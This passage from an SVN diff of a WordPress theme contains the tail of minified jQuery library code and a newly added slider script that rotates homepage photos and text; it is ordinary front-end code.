T.offsetWidth>0||T.offsetHeight>0};F.selectors.filters.animated=function(T){return o.grep(o.timers,function(U){return T===U.elem}).length};o.multiFilter=function(V,T,U){if(U){V=":not("+V+")"}return F.matches(V,T)};o.dir=function(V,U){var T=[],W=V[U];while(W&&W!=document){if(W.nodeType==1){T.push(W)}W=W[U]}return T};o.nth=function(X,T,V,W){T=T||1;var U=0;for(;X;X=X[V]){if(X.nodeType==1&&++U==T){break}}return X};o.sibling=function(V,U){var T=[];for(;V;V=V.nextSibling){if(V.nodeType==1&&V!=U){T.push(V)}}return T};return;l.Sizzle=F})();o.event={add:function(I,F,H,K){if(I.nodeType==3||I.nodeType==8){return}if(I.setInterval&&I!=l){I=l}if(!H.guid){H.guid=this.guid++}if(K!==g){var G=H;H=this.proxy(G);H.data=K}var E=o.data(I,"events")||o.data(I,"events",{}),J=o.data(I,"handle")||o.data(I,"handle",function(){return typeof o!=="undefined"&&!o.event.triggered?o.event.handle.apply(arguments.callee.elem,arguments):g});J.elem=I;o.each(F.split(/\s+/),function(M,N){var O=N.split(".");N=O.shift();H.type=O.slice().sort().join(".");var L=E[N];if(o.event.specialAll[N]){o.event.specialAll[N].setup.call(I,K,O)}if(!L){L=E[N]={};if(!o.event.special[N]||o.event.special[N].setup.call(I,K,O)===false){if(I.addEventListener){I.addEventListener(N,J,false)}else{if(I.attachEvent){I.attachEvent("on"+N,J)}}}}L[H.guid]=H;o.event.global[N]=true});I=null},guid:1,global:{},remove:function(K,H,J){if(K.nodeType==3||K.nodeType==8){return}var G=o.data(K,"events"),F,E;if(G){if(H===g||(typeof H==="string"&&H.charAt(0)==".")){for(var I in G){this.remove(K,I+(H||""))}}else{if(H.type){J=H.handler;H=H.type}o.each(H.split(/\s+/),function(M,O){var Q=O.split(".");O=Q.shift();var N=RegExp("(^|\\.)"+Q.slice().sort().join(".*\\.")+"(\\.|$)");if(G[O]){if(J){delete G[O][J.guid]}else{for(var P in G[O]){if(N.test(G[O][P].type)){delete G[O][P]}}}if(o.event.specialAll[O]){o.event.specialAll[O].teardown.call(K,Q)}for(F in G[O]){break}if(!F){if(!o.event.special[O]||o.event.special[O].teardown.call(K,Q)===false){if(K.removeEventListener){K.removeEventListener(O,o.data(K,"handle"),false)}else{if(K.detachEvent){K.detachEvent("on"+O,o.data(K,"handle"))}}}F=null;delete G[O]}}})}for(F in G){break}if(!F){var L=o.data(K,"handle");if(L){L.elem=null}o.removeData(K,"events");o.removeData(K,"handle")}}},trigger:function(I,K,H,E){var G=I.type||I;if(!E){I=typeof I==="object"?I[h]?I:o.extend(o.Event(G),I):o.Event(G);if(G.indexOf("!")>=0){I.type=G=G.slice(0,-1);I.exclusive=true}if(!H){I.stopPropagation();if(this.global[G]){o.each(o.cache,function(){if(this.events&&this.events[G]){o.event.trigger(I,K,this.handle.elem)}})}}if(!H||H.nodeType==3||H.nodeType==8){return g}I.result=g;I.target=H;K=o.makeArray(K);K.unshift(I)}I.currentTarget=H;var J=o.data(H,"handle");if(J){J.apply(H,K)}if((!H[G]||(o.nodeName(H,"a")&&G=="click"))&&H["on"+G]&&H["on"+G].apply(H,K)===false){I.result=false}if(!E&&H[G]&&!I.isDefaultPrevented()&&!(o.nodeName(H,"a")&&G=="click")){this.triggered=true;try{H[G]()}catch(L){}}this.triggered=false;if(!I.isPropagationStopped()){var F=H.parentNode||H.ownerDocument;if(F){o.event.trigger(I,K,F,true)}}},handle:function(K){var J,E;K=arguments[0]=o.event.fix(K||l.event);K.currentTarget=this;var L=K.type.split(".");K.type=L.shift();J=!L.length&&!K.exclusive;var I=RegExp("(^|\\.)"+L.slice().sort().join(".*\\.")+"(\\.|$)");E=(o.data(this,"events")||{})[K.type];for(var G in E){var H=E[G];if(J||I.test(H.type)){K.handler=H;K.data=H.data;var F=H.apply(this,arguments);if(F!==g){K.result=F;if(F===false){K.preventDefault();K.stopPropagation()}}if(K.isImmediatePropagationStopped()){break}}}},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),fix:function(H){if(H[h]){return H}var F=H;H=o.Event(F);for(var G=this.props.length,J;G;){J=this.props[--G];H[J]=F[J]}if(!H.target){H.target=H.srcElement||document}if(H.target.nodeType==3){H.target=H.target.parentNode}if(!H.relatedTarget&&H.fromElement){H.relatedTarget=H.fromElement==H.target?H.toElement:H.fromElement}if(H.pageX==null&&H.clientX!=null){var I=document.documentElement,E=document.body;H.pageX=H.clientX+(I&&I.scrollLeft||E&&E.scrollLeft||0)-(I.clientLeft||0);H.pageY=H.clientY+(I&&I.scrollTop||E&&E.scrollTop||0)-(I.clientTop||0)}if(!H.which&&((H.charCode||H.charCode===0)?H.charCode:H.keyCode)){H.which=H.charCode||H.keyCode}if(!H.metaKey&&H.ctrlKey){H.metaKey=H.ctrlKey}if(!H.which&&H.button){H.which=(H.button&1?1:(H.button&2?3:(H.button&4?2:0)))}return H},proxy:function(F,E){E=E||function(){return F.apply(this,arguments)};E.guid=F.guid=F.guid||E.guid||this.guid++;return E},special:{ready:{setup:B,teardown:function(){}}},specialAll:{live:{setup:function(E,F){o.event.add(this,F[0],c)},teardown:function(G){if(G.length){var E=0,F=RegExp("(^|\\.)"+G[0]+"(\\.|$)");o.each((o.data(this,"events").live||{}),function(){if(F.test(this.type)){E++}});if(E<1){o.event.remove(this,G[0],c)}}}}}};o.Event=function(E){if(!this.preventDefault){return new o.Event(E)}if(E&&E.type){this.originalEvent=E;this.type=E.type}else{this.type=E}this.timeStamp=e();this[h]=true};function k(){return false}function u(){return true}o.Event.prototype={preventDefault:function(){this.isDefaultPrevented=u;var E=this.originalEvent;if(!E){return}if(E.preventDefault){E.preventDefault()}E.returnValue=false},stopPropagation:function(){this.isPropagationStopped=u;var E=this.originalEvent;if(!E){return}if(E.stopPropagation){E.stopPropagation()}E.cancelBubble=true},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=u;this.stopPropagation()},isDefaultPrevented:k,isPropagationStopped:k,isImmediatePropagationStopped:k};var a=function(F){var E=F.relatedTarget;while(E&&E!=this){try{E=E.parentNode}catch(G){E=this}}if(E!=this){F.type=F.data;o.event.handle.apply(this,arguments)}};o.each({mouseover:"mouseenter",mouseout:"mouseleave"},function(F,E){o.event.special[E]={setup:function(){o.event.add(this,F,a,E)},teardown:function(){o.event.remove(this,F,a)}}});o.fn.extend({bind:function(F,G,E){return F=="unload"?this.one(F,G,E):this.each(function(){o.event.add(this,F,E||G,E&&G)})},one:function(G,H,F){var E=o.event.proxy(F||H,function(I){o(this).unbind(I,E);return(F||H).apply(this,arguments)});return this.each(function(){o.event.add(this,G,E,F&&H)})},unbind:function(F,E){return this.each(function(){o.event.remove(this,F,E)})},trigger:function(E,F){return this.each(function(){o.event.trigger(E,F,this)})},triggerHandler:function(E,G){if(this[0]){var F=o.Event(E);F.preventDefault();F.stopPropagation();o.event.trigger(F,G,this[0]);return F.result}},toggle:function(G){var E=arguments,F=1;while(F<E.length){o.event.proxy(G,E[F++])}return this.click(o.event.proxy(G,function(H){this.lastToggle=(this.lastToggle||0)%F;H.preventDefault();return E[this.lastToggle++].apply(this,arguments)||false}))},hover:function(E,F){return this.mouseenter(E).mouseleave(F)},ready:function(E){B();if(o.isReady){E.call(document,o)}else{o.readyList.push(E)}return this},live:function(G,F){var E=o.event.proxy(F);E.guid+=this.selector+G;o(document).bind(i(G,this.selector),this.selector,E);return this},die:function(F,E){o(document).unbind(i(F,this.selector),E?{guid:E.guid+this.selector+F}:null);return this}});function c(H){var E=RegExp("(^|\\.)"+H.type+"(\\.|$)"),G=true,F=[];o.each(o.data(this,"events").live||[],function(I,J){if(E.test(J.type)){var K=o(H.target).closest(J.data)[0];if(K){F.push({elem:K,fn:J})}}});F.sort(function(J,I){return o.data(J.elem,"closest")-o.data(I.elem,"closest")});o.each(F,function(){if(this.fn.call(this.elem,H,this.fn.data)===false){return(G=false)}});return G}function i(F,E){return["live",F,E.replace(/\./g,"`").replace(/ /g,"|")].join(".")}o.extend({isReady:false,readyList:[],ready:function(){if(!o.isReady){o.isReady=true;if(o.readyList){o.each(o.readyList,function(){this.call(document,o)});o.readyList=null}o(document).triggerHandler("ready")}}});var x=false;function B(){if(x){return}x=true;if(document.addEventListener){document.addEventListener("DOMContentLoaded",function(){document.removeEventListener("DOMContentLoaded",arguments.callee,false);o.ready()},false)}else{if(document.attachEvent){document.attachEvent("onreadystatechange",function(){if(document.readyState==="complete"){document.detachEvent("onreadystatechange",arguments.callee);o.ready()}});if(document.documentElement.doScroll&&l==l.top){(function(){if(o.isReady){return}try{document.documentElement.doScroll("left")}catch(E){setTimeout(arguments.callee,0);return}o.ready()})()}}}o.event.add(l,"load",o.ready)}o.each(("blur,focus,load,resize,scroll,unload,click,dblclick,mousedown,mouseup,mousemove,mouseover,mouseout,mouseenter,mouseleave,change,select,submit,keydown,keypress,keyup,error").split(","),function(F,E){o.fn[E]=function(G){return G?this.bind(E,G):this.trigger(E)}});o(l).bind("unload",function(){for(var E in o.cache){if(E!=1&&o.cache[E].handle){o.event.remove(o.cache[E].handle.elem)}}});(function(){o.support={};var F=document.documentElement,G=document.createElement("script"),K=document.createElement("div"),J="script"+(new Date).getTime();K.style.display="none";K.innerHTML='   <link/><table></table><a href="/a" style="color:red;float:left;opacity:.5;">a</a><select><option>text</option></select><object><param/></object>';var H=K.getElementsByTagName("*"),E=K.getElementsByTagName("a")[0];if(!H||!H.length||!E){return}o.support={leadingWhitespace:K.firstChild.nodeType==3,tbody:!K.getElementsByTagName("tbody").length,objectAll:!!K.getElementsByTagName("object")[0].getElementsByTagName("*").length,htmlSerialize:!!K.getElementsByTagName("link").length,style:/red/.test(E.getAttribute("style")),hrefNormalized:E.getAttribute("href")==="/a",opacity:E.style.opacity==="0.5",cssFloat:!!E.style.cssFloat,scriptEval:false,noCloneEvent:true,boxModel:null};G.type="text/javascript";try{G.appendChild(document.createTextNode("window."+J+"=1;"))}catch(I){}F.insertBefore(G,F.firstChild);if(l[J]){o.support.scriptEval=true;delete l[J]}F.removeChild(G);if(K.attachEvent&&K.fireEvent){K.attachEvent("onclick",function(){o.support.noCloneEvent=false;K.detachEvent("onclick",arguments.callee)});K.cloneNode(true).fireEvent("onclick")}o(function(){var L=document.createElement("div");L.style.width=L.style.paddingLeft="1px";document.body.appendChild(L);o.boxModel=o.support.boxModel=L.offsetWidth===2;document.body.removeChild(L).style.display="none"})})();var w=o.support.cssFloat?"cssFloat":"styleFloat";o.props={"for":"htmlFor","class":"className","float":w,cssFloat:w,styleFloat:w,readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",tabindex:"tabIndex"};o.fn.extend({_load:o.fn.load,load:function(G,J,K){if(typeof G!=="string"){return this._load(G)}var I=G.indexOf(" ");if(I>=0){var E=G.slice(I,G.length);G=G.slice(0,I)}var H="GET";if(J){if(o.isFunction(J)){K=J;J=null}else{if(typeof J==="object"){J=o.param(J);H="POST"}}}var F=this;o.ajax({url:G,type:H,dataType:"html",data:J,complete:function(M,L){if(L=="success"||L=="notmodified"){F.html(E?o("<div/>").append(M.responseText.replace(/<script(.|\s)*?\/script>/g,"")).find(E):M.responseText)}if(K){F.each(K,[M.responseText,L,M])}}});return this},serialize:function(){return o.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?o.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password|search/i.test(this.type))}).map(function(E,F){var G=o(this).val();return G==null?null:o.isArray(G)?o.map(G,function(I,H){return{name:F.name,value:I}}):{name:F.name,value:G}}).get()}});o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(E,F){o.fn[F]=function(G){return this.bind(F,G)}});var r=e();o.extend({get:function(E,G,H,F){if(o.isFunction(G)){H=G;G=null}return o.ajax({type:"GET",url:E,data:G,success:H,dataType:F})},getScript:function(E,F){return o.get(E,null,F,"script")},getJSON:function(E,F,G){return o.get(E,F,G,"json")},post:function(E,G,H,F){if(o.isFunction(G)){H=G;G={}}return o.ajax({type:"POST",url:E,data:G,success:H,dataType:F})},ajaxSetup:function(E){o.extend(o.ajaxSettings,E)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:function(){return l.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest()},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(M){M=o.extend(true,M,o.extend(true,{},o.ajaxSettings,M));var W,F=/=\?(&|$)/g,R,V,G=M.type.toUpperCase();if(M.data&&M.processData&&typeof M.data!=="string"){M.data=o.param(M.data)}if(M.dataType=="jsonp"){if(G=="GET"){if(!M.url.match(F)){M.url+=(M.url.match(/\?/)?"&":"?")+(M.jsonp||"callback")+"=?"}}else{if(!M.data||!M.data.match(F)){M.data=(M.data?M.data+"&":"")+(M.jsonp||"callback")+"=?"}}M.dataType="json"}if(M.dataType=="json"&&(M.data&&M.data.match(F)||M.url.match(F))){W="jsonp"+r++;if(M.data){M.data=(M.data+"").replace(F,"="+W+"$1")}M.url=M.url.replace(F,"="+W+"$1");M.dataType="script";l[W]=function(X){V=X;I();L();l[W]=g;try{delete l[W]}catch(Y){}if(H){H.removeChild(T)}}}if(M.dataType=="script"&&M.cache==null){M.cache=false}if(M.cache===false&&G=="GET"){var E=e();var U=M.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+E+"$2");M.url=U+((U==M.url)?(M.url.match(/\?/)?"&":"?")+"_="+E:"")}if(M.data&&G=="GET"){M.url+=(M.url.match(/\?/)?"&":"?")+M.data;M.data=null}if(M.global&&!o.active++){o.event.trigger("ajaxStart")}var Q=/^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);if(M.dataType=="script"&&G=="GET"&&Q&&(Q[1]&&Q[1]!=location.protocol||Q[2]!=location.host)){var H=document.getElementsByTagName("head")[0];var T=document.createElement("script");T.src=M.url;if(M.scriptCharset){T.charset=M.scriptCharset}if(!W){var O=false;T.onload=T.onreadystatechange=function(){if(!O&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){O=true;I();L();T.onload=T.onreadystatechange=null;H.removeChild(T)}}}H.appendChild(T);return g}var K=false;var J=M.xhr();if(M.username){J.open(G,M.url,M.async,M.username,M.password)}else{J.open(G,M.url,M.async)}try{if(M.data){J.setRequestHeader("Content-Type",M.contentType)}if(M.ifModified){J.setRequestHeader("If-Modified-Since",o.lastModified[M.url]||"Thu, 01 Jan 1970 00:00:00 GMT")}J.setRequestHeader("X-Requested-With","XMLHttpRequest");J.setRequestHeader("Accept",M.dataType&&M.accepts[M.dataType]?M.accepts[M.dataType]+", */*":M.accepts._default)}catch(S){}if(M.beforeSend&&M.beforeSend(J,M)===false){if(M.global&&!--o.active){o.event.trigger("ajaxStop")}J.abort();return false}if(M.global){o.event.trigger("ajaxSend",[J,M])}var N=function(X){if(J.readyState==0){if(P){clearInterval(P);P=null;if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}}else{if(!K&&J&&(J.readyState==4||X=="timeout")){K=true;if(P){clearInterval(P);P=null}R=X=="timeout"?"timeout":!o.httpSuccess(J)?"error":M.ifModified&&o.httpNotModified(J,M.url)?"notmodified":"success";if(R=="success"){try{V=o.httpData(J,M.dataType,M)}catch(Z){R="parsererror"}}if(R=="success"){var Y;try{Y=J.getResponseHeader("Last-Modified")}catch(Z){}if(M.ifModified&&Y){o.lastModified[M.url]=Y}if(!W){I()}}else{o.handleError(M,J,R)}L();if(X){J.abort()}if(M.async){J=null}}}};if(M.async){var P=setInterval(N,13);if(M.timeout>0){setTimeout(function(){if(J&&!K){N("timeout")}},M.timeout)}}try{J.send(M.data)}catch(S){o.handleError(M,J,null,S)}if(!M.async){N()}function I(){if(M.success){M.success(V,R)}if(M.global){o.event.trigger("ajaxSuccess",[J,M])}}function L(){if(M.complete){M.complete(J,R)}if(M.global){o.event.trigger("ajaxComplete",[J,M])}if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}return J},handleError:function(F,H,E,G){if(F.error){F.error(H,E,G)}if(F.global){o.event.trigger("ajaxError",[H,F,G])}},active:0,httpSuccess:function(F){try{return !F.status&&location.protocol=="file:"||(F.status>=200&&F.status<300)||F.status==304||F.status==1223}catch(E){}return false},httpNotModified:function(G,E){try{var H=G.getResponseHeader("Last-Modified");return G.status==304||H==o.lastModified[E]}catch(F){}return false},httpData:function(J,H,G){var F=J.getResponseHeader("content-type"),E=H=="xml"||!H&&F&&F.indexOf("xml")>=0,I=E?J.responseXML:J.responseText;if(E&&I.documentElement.tagName=="parsererror"){throw"parsererror"}if(G&&G.dataFilter){I=G.dataFilter(I,H)}if(typeof I==="string"){if(H=="script"){o.globalEval(I)}if(H=="json"){I=l["eval"]("("+I+")")}}return I},param:function(E){var G=[];function H(I,J){G[G.length]=encodeURIComponent(I)+"="+encodeURIComponent(J)}if(o.isArray(E)||E.jquery){o.each(E,function(){H(this.name,this.value)})}else{for(var F in E){if(o.isArray(E[F])){o.each(E[F],function(){H(F,this)})}else{H(F,o.isFunction(E[F])?E[F]():E[F])}}}return G.join("&").replace(/%20/g,"+")}});var m={},n,d=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];function t(F,E){var G={};o.each(d.concat.apply([],d.slice(0,E)),function(){G[this]=F});return G}o.fn.extend({show:function(J,L){if(J){return this.animate(t("show",3),J,L)}else{for(var H=0,F=this.length;H<F;H++){var E=o.data(this[H],"olddisplay");this[H].style.display=E||"";if(o.css(this[H],"display")==="none"){var G=this[H].tagName,K;if(m[G]){K=m[G]}else{var I=o("<"+G+" />").appendTo("body");K=I.css("display");if(K==="none"){K="block"}I.remove();m[G]=K}o.data(this[H],"olddisplay",K)}}for(var H=0,F=this.length;H<F;H++){this[H].style.display=o.data(this[H],"olddisplay")||""}return this}},hide:function(H,I){if(H){return this.animate(t("hide",3),H,I)}else{for(var G=0,F=this.length;G<F;G++){var E=o.data(this[G],"olddisplay");if(!E&&E!=="none"){o.data(this[G],"olddisplay",o.css(this[G],"display"))}}for(var G=0,F=this.length;G<F;G++){this[G].style.display="none"}return this}},_toggle:o.fn.toggle,toggle:function(G,F){var E=typeof G==="boolean";return o.isFunction(G)&&o.isFunction(F)?this._toggle.apply(this,arguments):G==null||E?this.each(function(){var H=E?G:o(this).is(":hidden");o(this)[H?"show":"hide"]()}):this.animate(t("toggle",3),G,F)},fadeTo:function(E,G,F){return this.animate({opacity:G},E,F)},animate:function(I,F,H,G){var E=o.speed(F,H,G);return this[E.queue===false?"each":"queue"](function(){var K=o.extend({},E),M,L=this.nodeType==1&&o(this).is(":hidden"),J=this;for(M in I){if(I[M]=="hide"&&L||I[M]=="show"&&!L){return K.complete.call(this)}if((M=="height"||M=="width")&&this.style){K.display=o.css(this,"display");K.overflow=this.style.overflow}}if(K.overflow!=null){this.style.overflow="hidden"}K.curAnim=o.extend({},I);o.each(I,function(O,S){var R=new o.fx(J,K,O);if(/toggle|show|hide/.test(S)){R[S=="toggle"?L?"show":"hide":S](I)}else{var Q=S.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),T=R.cur(true)||0;if(Q){var N=parseFloat(Q[2]),P=Q[3]||"px";if(P!="px"){J.style[O]=(N||1)+P;T=((N||1)/R.cur(true))*T;J.style[O]=T+P}if(Q[1]){N=((Q[1]=="-="?-1:1)*N)+T}R.custom(T,N,P)}else{R.custom(T,S,"")}}});return true})},stop:function(F,E){var G=o.timers;if(F){this.queue([])}this.each(function(){for(var H=G.length-1;H>=0;H--){if(G[H].elem==this){if(E){G[H](true)}G.splice(H,1)}}});if(!E){this.dequeue()}return this}});o.each({slideDown:t("show",1),slideUp:t("hide",1),slideToggle:t("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(E,F){o.fn[E]=function(G,H){return this.animate(F,G,H)}});o.extend({speed:function(G,H,F){var E=typeof G==="object"?G:{complete:F||!F&&H||o.isFunction(G)&&G,duration:G,easing:F&&H||H&&!o.isFunction(H)&&H};E.duration=o.fx.off?0:typeof E.duration==="number"?E.duration:o.fx.speeds[E.duration]||o.fx.speeds._default;E.old=E.complete;E.complete=function(){if(E.queue!==false){o(this).dequeue()}if(o.isFunction(E.old)){E.old.call(this)}};return E},easing:{linear:function(G,H,E,F){return E+F*G},swing:function(G,H,E,F){return((-Math.cos(G*Math.PI)/2)+0.5)*F+E}},timers:[],fx:function(F,E,G){this.options=E;this.elem=F;this.prop=G;if(!E.orig){E.orig={}}}});o.fx.prototype={update:function(){if(this.options.step){this.options.step.call(this.elem,this.now,this)}(o.fx.step[this.prop]||o.fx.step._default)(this);if((this.prop=="height"||this.prop=="width")&&this.elem.style){this.elem.style.display="block"}},cur:function(F){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop]}var E=parseFloat(o.css(this.elem,this.prop,F));return E&&E>-10000?E:parseFloat(o.curCSS(this.elem,this.prop))||0},custom:function(I,H,G){this.startTime=e();this.start=I;this.end=H;this.unit=G||this.unit||"px";this.now=this.start;this.pos=this.state=0;var E=this;function F(J){return E.step(J)}F.elem=this.elem;if(F()&&o.timers.push(F)&&!n){n=setInterval(function(){var K=o.timers;for(var J=0;J<K.length;J++){if(!K[J]()){K.splice(J--,1)}}if(!K.length){clearInterval(n);n=g}},13)}},show:function(){this.options.orig[this.prop]=o.attr(this.elem.style,this.prop);this.options.show=true;this.custom(this.prop=="width"||this.prop=="height"?1:0,this.cur());o(this.elem).show()},hide:function(){this.options.orig[this.prop]=o.attr(this.elem.style,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(H){var G=e();if(H||G>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var E=true;for(var F in this.options.curAnim){if(this.options.curAnim[F]!==true){E=false}}if(E){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(o.css(this.elem,"display")=="none"){this.elem.style.display="block"}}if(this.options.hide){o(this.elem).hide()}if(this.options.hide||this.options.show){for(var I in this.options.curAnim){o.attr(this.elem.style,I,this.options.orig[I])}}this.options.complete.call(this.elem)}return false}else{var J=G-this.startTime;this.state=J/this.options.duration;this.pos=o.easing[this.options.easing||(o.easing.swing?"swing":"linear")](this.state,J,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update()}return true}};o.extend(o.fx,{speeds:{slow:600,fast:200,_default:400},step:{opacity:function(E){o.attr(E.elem.style,"opacity",E.now)},_default:function(E){if(E.elem.style&&E.elem.style[E.prop]!=null){E.elem.style[E.prop]=E.now+E.unit}else{E.elem[E.prop]=E.now}}}});if(document.documentElement.getBoundingClientRect){o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}var G=this[0].getBoundingClientRect(),J=this[0].ownerDocument,F=J.body,E=J.documentElement,L=E.clientTop||F.clientTop||0,K=E.clientLeft||F.clientLeft||0,I=G.top+(self.pageYOffset||o.boxModel&&E.scrollTop||F.scrollTop)-L,H=G.left+(self.pageXOffset||o.boxModel&&E.scrollLeft||F.scrollLeft)-K;return{top:I,left:H}}}else{o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}o.offset.initialized||o.offset.initialize();var J=this[0],G=J.offsetParent,F=J,O=J.ownerDocument,M,H=O.documentElement,K=O.body,L=O.defaultView,E=L.getComputedStyle(J,null),N=J.offsetTop,I=J.offsetLeft;while((J=J.parentNode)&&J!==K&&J!==H){M=L.getComputedStyle(J,null);N-=J.scrollTop,I-=J.scrollLeft;if(J===G){N+=J.offsetTop,I+=J.offsetLeft;if(o.offset.doesNotAddBorder&&!(o.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(J.tagName))){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}F=G,G=J.offsetParent}if(o.offset.subtractsBorderForOverflowNotVisible&&M.overflow!=="visible"){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}E=M}if(E.position==="relative"||E.position==="static"){N+=K.offsetTop,I+=K.offsetLeft}if(E.position==="fixed"){N+=Math.max(H.scrollTop,K.scrollTop),I+=Math.max(H.scrollLeft,K.scrollLeft)}return{top:N,left:I}}}o.offset={initialize:function(){if(this.initialized){return}var L=document.body,F=document.createElement("div"),H,G,N,I,M,E,J=L.style.marginTop,K='<div style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;"><div></div></div><table style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;" cellpadding="0" cellspacing="0"><tr><td></td></tr></table>';M={position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"};for(E in M){F.style[E]=M[E]}F.innerHTML=K;L.insertBefore(F,L.firstChild);H=F.firstChild,G=H.firstChild,I=H.nextSibling.firstChild.firstChild;this.doesNotAddBorder=(G.offsetTop!==5);this.doesAddBorderForTableAndCells=(I.offsetTop===5);H.style.overflow="hidden",H.style.position="relative";this.subtractsBorderForOverflowNotVisible=(G.offsetTop===-5);L.style.marginTop="1px";this.doesNotIncludeMarginInBodyOffset=(L.offsetTop===0);L.style.marginTop=J;L.removeChild(F);this.initialized=true},bodyOffset:function(E){o.offset.initialized||o.offset.initialize();var G=E.offsetTop,F=E.offsetLeft;if(o.offset.doesNotIncludeMarginInBodyOffset){G+=parseInt(o.curCSS(E,"marginTop",true),10)||0,F+=parseInt(o.curCSS(E,"marginLeft",true),10)||0}return{top:G,left:F}}};o.fn.extend({position:function(){var I=0,H=0,F;if(this[0]){var G=this.offsetParent(),J=this.offset(),E=/^body|html$/i.test(G[0].tagName)?{top:0,left:0}:G.offset();J.top-=j(this,"marginTop");J.left-=j(this,"marginLeft");E.top+=j(G,"borderTopWidth");E.left+=j(G,"borderLeftWidth");F={top:J.top-E.top,left:J.left-E.left}}return F},offsetParent:function(){var E=this[0].offsetParent||document.body;while(E&&(!/^body|html$/i.test(E.tagName)&&o.css(E,"position")=="static")){E=E.offsetParent}return o(E)}});o.each(["Left","Top"],function(F,E){var G="scroll"+E;o.fn[G]=function(H){if(!this[0]){return null}return H!==g?this.each(function(){this==l||this==document?l.scrollTo(!F?H:o(l).scrollLeft(),F?H:o(l).scrollTop()):this[G]=H}):this[0]==l||this[0]==document?self[F?"pageYOffset":"pageXOffset"]||o.boxModel&&document.documentElement[G]||document.body[G]:this[0][G]}});o.each(["Height","Width"],function(I,G){var E=I?"Left":"Top",H=I?"Right":"Bottom",F=G.toLowerCase();o.fn["inner"+G]=function(){return this[0]?o.css(this[0],F,false,"padding"):null};o.fn["outer"+G]=function(K){return this[0]?o.css(this[0],F,false,K?"margin":"border"):null};var J=G.toLowerCase();o.fn[J]=function(K){return this[0]==l?document.compatMode=="CSS1Compat"&&document.documentElement["client"+G]||document.body["client"+G]:this[0]==document?Math.max(document.documentElement["client"+G],document.body["scroll"+G],document.documentElement["scroll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,typeof K==="string"?K:K+"px")}})})();
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/scripts.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/scripts.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/scripts.js	(revision 44)
@@ -0,0 +1,44 @@
+var autoSlide = true;
+var autoSlideSecs = 10;
+
+var proj = 0;
+var interval = null;
+
+function textSlideIn(proj) {
+	$('ul.text').children('li:eq('+proj+')').animate({ right: "-1px" }, 700);
+}
+function textSlideOut(proj) {
+	$('ul.text').children('li:eq('+proj+')').animate({ right: "-270px" }, 700);
+}
+function photoFadeIn(proj) {
+	$('ul.photo').children('li:eq('+proj+')').fadeIn(700);
+}
+function photoFadeOut(proj) {
+	$('ul.photo').children('li:eq('+proj+')').fadeOut(700);
+}
+function photoPutBehind(proj) {
+	$('ul.photo').children('li:eq('+proj+')').css('z-index', 0);
+}
+function nextSlide() {
+	$('ul.photo').children('li:eq('+proj+')').css("z-index", 2);
+	setTimeout('photoFadeOut('+proj+')', 1000);
+	setTimeout('photoPutBehind('+proj+')', 1500);
+	textSlideOut(proj);
+	proj++;
+	var i = $('ul.text li').size() - 1;
+	if (proj>i) proj = 0;
+	setTimeout('photoFadeIn('+proj+')', 1000);		
+	setTimeout('textSlideIn('+proj+')', 1500);
+}
+
+$(function() {
+	if (autoSlide) interval = setInterval('nextSlide()', autoSlideSecs*1000);
+	jQuery('.next').click(function() {
+		clearInterval(interval);
+		nextSlide();
+		if (autoSlide) interval = setInterval('nextSlide()', autoSlideSecs*1000);
+		return false;
+	});
+	$('#wpcumuluscontent embed').attr('width', '242');
+});
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/unitpngfix.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/unitpngfix.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/unitpngfix.js	(revision 44)
